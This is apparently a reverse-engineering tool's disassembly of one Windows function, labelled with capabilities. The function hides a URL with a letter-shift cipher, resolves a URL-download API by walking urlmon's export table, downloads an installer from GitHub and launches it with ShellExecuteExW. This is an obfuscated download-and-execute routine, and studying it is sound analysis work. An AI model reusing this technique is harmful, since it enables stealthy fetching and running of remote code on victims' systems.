Function at 0x401010
Capabilities:
Create process on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x121c
call fcn.0040d510
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 2
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0
push 0
push 0
xorps xmm0, xmm0
mov dword [ebp - 0x10e0], 0
push 0
lea eax, [ebp - 0x10f8]
movq qword [ebp - 0x10e8], xmm0
push eax
movups xmmword [ebp - 0x10f8], xmm0
call dword [sym.imp.USER32.dll_PeekMessageW]
push 0
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageW]
push 0
push 0
push 0
lea eax, [ebp - 0x10f8]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0xea60
mov dword [ebp - 0x10fc], eax
lea eax, [ebp - 0x10fc]
push 1
push eax
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push str.urlmon.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, eax
mov dword [ebp - 0x1144], 0xffffffff
xor esi, esi
mov ecx, dword [ebx + 0x3c]
mov edx, dword [ecx + ebx + 0x78]
add edx, ebx
mov dword [ebp - 0x1140], edx
mov eax, dword [edx + 0x20]
add eax, ebx
mov dword [ebp - 0x113c], eax
cmp dword [edx + 0x18], esi
jbe 0x40114b
mov edx, dword [eax + esi*4]
add edx, ebx
mov eax, edx
lea edi, [eax + 1]
nop word [eax + eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401100
sub eax, edi
cmp eax, 0x17
jne 0x40112b
cmp byte [edx], 0x55
jne 0x40112b
cmp byte [edx + 2], 0x4c
jne 0x40112b
cmp byte [edx + 4], 0x6f
jne 0x40112b
cmp byte [edx + 0x14], 0x6c
jne 0x40112b
cmp byte [edx + 0x16], 0x57
je 0x40113f
mov edx, dword [ebp - 0x1140]
inc esi
cmp esi, dword [edx + 0x18]
jae 0x40114b
mov eax, dword [ebp - 0x113c]
jmp 0x4010f0
mov edx, dword [ebp - 0x1140]
mov dword [ebp - 0x1144], esi
mov eax, dword [edx + 0x24]
lea edi, [ebp - 0x121c]
mov ecx, dword [ebp - 0x1144]
mov esi, str.iuuqt:__hjuivc.dpn_opufqbe_qmvt_qmvt_opufqbe_qmvt_qmvt_sfmfbtft_epxompbe_w8.6.9_oqq.8.6.9.Iotubmmfs.y64.fyf
push 0xd8
push 0
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, 0x36
mov eax, dword [eax + ebx]
add eax, ebx
mov dword [ebp - 0x113c], eax
lea eax, [ebp - 0xdc]
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.004021c0
add esp, 0xc
xor ecx, ecx
nop word [eax + eax]
movzx edx, word [ebp + ecx - 0x121c]
mov esi, edx
lea eax, [edx - 0x61]
cmp ax, 0x19
ja 0x4011d1
sub dl, 0x61
jne 0x4011c2
mov eax, 0x7a
movzx eax, ax
jmp 0x4011d3
movzx eax, dl
add ax, 0x60
movzx eax, ax
movzx eax, ax
jmp 0x4011d3
mov eax, esi
mov esi, ecx
lea edx, [ebp - 0xdc]
add ecx, 2
mov word [esi + edx], ax
cmp ecx, 0xd8
jb 0x4011a0
pop edi
pop esi
pop ebx
push 0
push 0
push 0x800
lea eax, [ebp - 0x10dc]
push eax
mov eax, edx
push eax
push 0
call dword [ebp - 0x113c]
xorps xmm0, xmm0
mov dword [ebp - 0x112c], 0
lea eax, [ebp - 0x10dc]
movlpd qword [ebp - 0x1134], xmm0
mov dword [ebp - 0x1128], eax
lea eax, [ebp - 0x1138]
push eax
movlpd qword [ebp - 0x1124], xmm0
movlpd qword [ebp - 0x1118], xmm0
movlpd qword [ebp - 0x1110], xmm0
movlpd qword [ebp - 0x1108], xmm0
mov dword [ebp - 0x1100], 0
mov dword [ebp - 0x1138], 0x3c
mov dword [ebp - 0x111c], 5
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.00401286
mov esp, ebp
pop ebp
ret 0x10